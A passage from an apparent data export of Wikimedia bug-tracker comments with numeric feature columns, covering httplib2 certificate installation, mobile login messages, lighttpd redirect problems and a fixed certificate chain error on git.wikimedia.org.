Unfortunately it's almost impossible to distinguish this one from a 'pip install'ed one, which carries it's own certificates... (you could check httplib2.CA_CERTS, I guess)",,,1390988674,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-5k7ae4lvmefpxeskdp47,task_subcomment,,True,c3,1,True,,,-75,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,1.0,0.0,7.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,4.0,3.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,1.0,0.0,10.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,7.0,9.0,4.0,0.0,1.0,0.0,7.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,4.217391304347826,0.7971014492753623,"See URL (line 68) for how to do this from setup.py.

You can also install the ubuntu python-httplib2 package centrally, as that one uses the system certificate store.

Unfortunately it's almost impossible to distinguish this one from a 'pip install'ed one, which carries it's own certificates... (you could check httplib2.CA_CERTS, I guess)"
286387,find a way to automatically install a version of httplib2 that works with MediaWiki,"Yep, that's what we do.  And right now we're doing some weird pip freeeze | grep httplib stuff to figure out which library is installed, uninstall the wrong one and install the pywikibot one.  Do you know of a way to just reference the pywikibot one from requirements.txt or setup.py so that pip can find them?",,,1390949216,,PHID-USER-vbyvvtbztxaeuaxelxx4,False,,,PHID-TASK-5k7ae4lvmefpxeskdp47,task_subcomment,,True,c3,1,False,,,-75,True,2.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,5.0,11.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,8.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,6.0,2.0,5.0,3.0,5.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,6.0,11.0,9.0,2.0,0.0,0.0,6.0,0.0,3.0,2.0,2.0,2.0,0.0,0.0,2.0,3.923076923076923,0.8153846153846154,"Yep, that's what we do.  And right now we're doing some weird pip freeeze | grep httplib stuff to figure out which library is installed, uninstall the wrong one and install the pywikibot one.  Do you know of a way to just reference the pywikibot one from requirements.txt or setup.py so that pip can find them?"
286384,find a way to automatically install a version of httplib2 that works with MediaWiki,"You can use the pywikibot/externals/httplib2 fork, we took the certificates from the python-requests library. http://lists.wikimedia.org/pipermail/pywikipedia-l/2013-August/008214.html has some background about why.",,,1390948210,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-5k7ae4lvmefpxeskdp47,task_subcomment,,True,c3,1,True,,,-75,True,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,7.0,3.0,0.0,14.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,7.0,7.0,3.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.310344827586207,0.8620689655172413,"You can use the pywikibot/externals/httplib2 fork, we took the certificates from the python-requests library. URL has some background about why."
286381,find a way to automatically install a version of httplib2 that works with MediaWiki,"**bingle-admin** wrote:

Prioritization and scheduling of this bug is tracked on Mingle card https://wikimedia.mingle.thoughtworks.com/projects/analytics/cards/cards/1394",,,1390946382,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-5k7ae4lvmefpxeskdp47,task_subcomment,,True,c3,1,False,,,-75,True,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8181818181818183,0.8636363636363636,"**bingle-admin** wrote:

Prioritization and scheduling of this bug is tracked on Mingle card URL"
62048,Messages broken on login/account creation page,"https://en.m.wikipedia.org/w/index.php?title=Special:UserLogin&action=submitlogin&type=login&returnto=Uru_people&returntoquery=article_action%3Dwatch

The same line is repeated twice. This is clearly a mistake :)

Also on
https://en.m.wikipedia.org/w/index.php?title=Special:UserLogin&type=signup&returnto=Uru_people&returntoquery=article_action%3Dwatch
A message '&lt;mobile-frontend-watchlist-login&gt;' is not translated.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1389723180,1389902980.0,PHID-USER-5dwuaigmkz2vzg65lape,False,,False,PHID-TASK-szx7krfdck4poxrlm7te,task_description,resolved,True,c3,1,True,False,True,-77,True,0.0,0.0,0.0,4.0,2.0,5.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,14.0,0.0,2.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.6607142857142856,0.6428571428571429,"URL

The same line is repeated twice. This is clearly a mistake :)

Also on
URL
A message '&lt;mobile-frontend-watchlist-login&gt;' is not translated.

--------------------------
**Version**: unspecified
**Severity**: normal"
284010,Messages broken on login/account creation page,"Change 107756 merged by jenkins-bot:
Fix broken messages on account creation / login for watchlist

https://gerrit.wikimedia.org/r/107756",,,1389902141,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-szx7krfdck4poxrlm7te,task_subcomment,,True,c3,1,False,,,-76,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,14.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.619047619047619,1.0,"Change 107756 merged by jenkins-bot:
Fix broken messages on account creation / login for watchlist

GERRIT_URL"
284005,Messages broken on login/account creation page,"Change 107756 had a related patch set uploaded by Jdlrobson:
Fix broken messages on account creation / login for watchlist

https://gerrit.wikimedia.org/r/107756",,,1389836072,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-szx7krfdck4poxrlm7te,task_subcomment,,True,c3,1,False,,,-76,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.833333333333333,1.0,"Change 107756 had a related patch set uploaded by Jdlrobson:
Fix broken messages on account creation / login for watchlist

GERRIT_URL"
284001,Messages broken on login/account creation page,"**bingle-admin** wrote:

Prioritization and scheduling of this bug is tracked on Mingle card https://wikimedia.mingle.thoughtworks.com/projects/mobile/cards/1616",,,1389723629,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-szx7krfdck4poxrlm7te,task_subcomment,,True,c3,1,False,,,-77,True,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8181818181818183,0.8636363636363636,"**bingle-admin** wrote:

Prioritization and scheduling of this bug is tracked on Mingle card URL"
61926,lighttpd redirects fail without a trailing slash,"On the lighttpd web server in WMF labs, links fail if they don't contain a trailing slash.  Compare:

- http://tools.wmflabs.org/matthewrbowker/cnrd
- http://tools.wmflabs.org/matthewrbowker/cnrd/

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1389394800,1398802201.0,PHID-USER-vzo36k53hgat5bwuxsn5,False,,False,PHID-TASK-btgy7refdigriymdsthr,task_description,resolved,True,c3,1,True,False,True,-77,True,0.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,15.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,6.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.5319148936170213,0.7021276595744681,"On the lighttpd web server in WMF labs, links fail if they don't contain a trailing slash.  Compare:

- URL
- URL

--------------------------
**Version**: unspecified
**Severity**: normal"
277569,lighttpd redirects fail without a trailing slash,I filed bug #64627 for the https -> http issue.,,,1398809677,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-btgy7refdigriymdsthr,task_subcomment,,True,c3,1,True,,,-62,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.923076923076923,1.0,I filed bug #64627 for the https -> http issue.
277561,lighttpd redirects fail without a trailing slash,That is unrelated.  The proxy provides an X-FORWARDED-PROTO header which can be used by the application to construct URIs if it really must redirect between protocols.,,,1398802201,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-btgy7refdigriymdsthr,task_subcomment,,True,c3,1,True,,,-62,True,0.0,0.0,0.0,3.0,0.0,12.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,12.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,12.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,6.0,18.0,3.0,0.0,15.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,3.0,12.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,4.303030303030303,0.9393939393939394,That is unrelated.  The proxy provides an X-FORWARDED-PROTO header which can be used by the application to construct URIs if it really must redirect between protocols.
277555,lighttpd redirects fail without a trailing slash,Not the same issue...,,,1398271151,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-btgy7refdigriymdsthr,task_subcomment,,True,c3,1,False,,,-63,True,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6,1.0,Not the same issue...
277548,lighttpd redirects fail without a trailing slash,"Unfortunately, this redirects from https to http, i. e.:

| [tim@passepartout ~]$ lynx -mime_header -dump https://tools.wmflabs.org/matthewrbowker/cnrd
| HTTP/1.1 301 Moved Permanently
| Server: nginx/1.5.0
| Date: Wed, 23 Apr 2014 15:28:21 GMT
| Content-Length: 0
| Connection: close
| Location: http://tools.wmflabs.org/matthewrbowker/cnrd/

| [tim@passepartout ~]$

So we'll need to teach lighttpd about https (or rewrite redirects in nginx?).",,,1398267015,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-btgy7refdigriymdsthr,task_subcomment,,True,c3,1,True,,,-63,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,2.0,0.0,4.0,7.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,1.0,7.0,12.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,3.7058823529411766,0.6705882352941176,"Unfortunately, this redirects from https to http, i. e.:

| [tim@passepartout ~]$ lynx -mime_header -dump URL
| HTTP/1.1 301 Moved Permanently
| Server: nginx/1.5.0
| Date: Wed, 23 Apr 2014 15:28:21 GMT
| Content-Length: 0
| Connection: close
| Location: URL

| [tim@passepartout ~]$

So we'll need to teach lighttpd about https (or rewrite redirects in nginx?)."
277542,lighttpd redirects fail without a trailing slash,"(In reply to Jarry1250 from comment #4)
> Reopening, behaviour seems to have reappeared following the change to a new
> proxy setup.

See bug 64058.",,,1397748726,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-btgy7refdigriymdsthr,task_subcomment,,True,c3,1,False,,,-63,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,11.0,0.0,0.0,16.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1052631578947367,0.8947368421052632,"(In reply to Jarry1250 from comment #4)
QUOTE
QUOTE

See bug 64058."
277537,lighttpd redirects fail without a trailing slash,"Reopening, behaviour seems to have reappeared following the change to a new proxy setup.",,,1397724691,,PHID-USER-n6a5asuonlcdc2xmndl2,False,,,PHID-TASK-btgy7refdigriymdsthr,task_subcomment,,True,c3,1,False,,,-63,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,4.6875,0.9375,"Reopening, behaviour seems to have reappeared following the change to a new proxy setup."
277532,lighttpd redirects fail without a trailing slash,Appears to work for me.  Thank you so much for fixing!,,,1394992614,,PHID-USER-vzo36k53hgat5bwuxsn5,False,,,PHID-TASK-btgy7refdigriymdsthr,task_subcomment,,True,c3,1,True,,,-68,True,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,14.0,21.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,14.0,21.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,3.142857142857143,0.9285714285714286,Appears to work for me.  Thank you so much for fixing!
277527,lighttpd redirects fail without a trailing slash,This may appears to have been 'accidentally' fixed by turning ProxyPreserveHost On on the temporary apache proxies.,,,1394578560,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-btgy7refdigriymdsthr,task_subcomment,,True,c3,1,True,,,-69,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,20.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,15.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.95,0.95,This may appears to have been 'accidentally' fixed by turning ProxyPreserveHost On on the temporary apache proxies.
277521,lighttpd redirects fail without a trailing slash,"For the record, links without trailing slashes are redirected to invalid (as seen from external world) host:

$ curl -v http://tools.wmflabs.org/matthewrbowker/cnrd
* Hostname was NOT found in DNS cache
* Adding handle: conn: 0x1144c10
* Adding handle: send: 0
* Adding handle: recv: 0
* Curl_addHandleToPipeline: length: 1
* - Conn 0 (0x1144c10) send_pipe: 1, recv_pipe: 0
*   Trying 208.80.153.201...
* Connected to tools.wmflabs.org (208.80.153.201) port 80 (#0)
> GET /matthewrbowker/cnrd HTTP/1.1
> User-Agent: curl/7.34.0
> Host: tools.wmflabs.org
> Accept: */*
> 
< HTTP/1.1 301 Moved Permanently
< Date: Sat, 08 Mar 2014 15:22:44 GMT
* Server lighttpd/1.4.28 is not blacklisted
< Server: lighttpd/1.4.28
< Location: http://tools-webgrid-01:4058/matthewrbowker/cnrd/
< Content-Length: 0
< 
* Connection #0 to host tools.wmflabs.org left intact",,,1394292244,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-btgy7refdigriymdsthr,task_subcomment,,True,c3,1,False,,,-69,True,0.0,0.0,0.0,1.5,1.0,1.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,5.0,0.0,0.5,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,10.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,1.5,18.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,1.0,0.0,9.0,0.0,0.0,5.0,11.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,4.5,3.6585365853658534,0.5670731707317074,"For the record, links without trailing slashes are redirected to invalid (as seen from external world) host:

$ curl -v URL
* Hostname was NOT found in DNS cache
* Adding handle: conn: 0x1144c10
* Adding handle: send: 0
* Adding handle: recv: 0
* Curl_addHandleToPipeline: length: 1
* - Conn 0 (0x1144c10) send_pipe: 1, recv_pipe: 0
*   Trying 208.80.153.201...
* Connected to tools.wmflabs.org (208.80.153.201) port 80 (#0)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
< HTTP/1.1 301 Moved Permanently
< Date: Sat, 08 Mar 2014 15:22:44 GMT
* Server lighttpd/1.4.28 is not blacklisted
< Server: lighttpd/1.4.28
< Location: URL
< Content-Length: 0
< 
* Connection #0 to host tools.wmflabs.org left intact"
61910,curl https://git.wikimedia.org/ gives invalid certificate,"hashar@integration-selenium-driver:~$ curl https://git.wikimedia.org/
curl: (60) SSL certificate problem, verify that the CA cert is OK. Details:
error:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed
More details here: http://curl.haxx.se/docs/sslcerts.html

curl performs SSL certificate verification by default, using a ""bundle""
 of Certificate Authority (CA) public keys (CA certs). If the default
 bundle file isn't adequate, you can specify an alternate file
 using the --cacert option.
If this HTTPS server uses a certificate signed by a CA represented in
 the bundle, the certificate verification probably failed due to a
 problem with the certificate (it might be expired, or the name might
 not match the domain name in the URL).
If you'd like to turn off curl's verification of the certificate, use
 the -k (or --insecure) option.
hashar@integration-selenium-driver:~$

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1389374160,1389395319.0,PHID-USER-orzyp3dswemhdgdznro5,False,,False,PHID-TASK-gg44ewrw4yljbluhzlpz,task_description,resolved,True,c3,1,True,False,True,-77,True,0.0,0.0,0.0,0.5,1.0,5.5,1.0,0.0,0.0,1.5,1.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,7.5,0.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.5,0.5,0.0,2.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,0.0,0.5,0.0,0.0,0.0,18.0,0.0,1.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,1.5,11.0,2.0,1.0,8.5,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.5,7.5,7.0,0.0,1.0,0.0,1.5,0.0,0.0,2.5,0.0,1.0,0.5,0.0,0.5,4.178834420366084,0.610246160319798,"hashar@integration-selenium-driver:~$ curl URL
curl: (60) SSL certificate problem, verify that the CA cert is OK. Details:
error:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed
More details here: URL

curl performs SSL certificate verification by default, using a ""bundle""
 of Certificate Authority (CA) public keys (CA certs). If the default
 bundle file isn't adequate, you can specify an alternate file
 using the --cacert option.
If this HTTPS server uses a certificate signed by a CA represented in
 the bundle, the certificate verification probably failed due to a
 problem with the certificate (it might be expired, or the name might
 not match the domain name in the URL).
If you'd like to turn off curl's verification of the certificate, use
 the -k (or --insecure) option.
hashar@integration-selenium-driver:~$

--------------------------
**Version**: unspecified
**Severity**: normal"
276490,curl https://git.wikimedia.org/ gives invalid certificate,"Works for me, thanks Rob.",,,1389430382,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-gg44ewrw4yljbluhzlpz,task_subcomment,,True,c3,1,True,,,-77,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,3.0,1.0,"Works for me, thanks Rob."
276484,curl https://git.wikimedia.org/ gives invalid certificate,"Ok, So the two patchsets I submitted for this are linked in ticket here.  Turns out the wildcard rapidssl has two intermediate certificates, versus the non-wildcard rapidssl certs that use the single one we've had on cluster and in puppet for awhile.

I've added the second cert to our repo and included it in use for misc-web-lb.eqiad.  Now curls return correctly, folks shouldn't be getting certificate errors anymore.",,,1389395319,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-gg44ewrw4yljbluhzlpz,task_subcomment,,True,c3,1,True,,,-77,True,0.0,0.0,0.0,1.0,1.0,7.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,5.0,0.0,8.0,12.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,20.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,6.0,2.0,7.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,1.0,1.0,2.0,0.0,6.0,12.0,1.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,4.265060240963855,0.7469879518072289,"Ok, So the two patchsets I submitted for this are linked in ticket here.  Turns out the wildcard rapidssl has two intermediate certificates, versus the non-wildcard rapidssl certs that use the single one we've had on cluster and in puppet for awhile.

I've added the second cert to our repo and included it in use for misc-web-lb.eqiad.  Now curls return correctly, folks shouldn't be getting certificate errors anymore."
276475,curl https://git.wikimedia.org/ gives invalid certificate,"Change 106842 merged by RobH:
install rapidssl_ca_2.pem

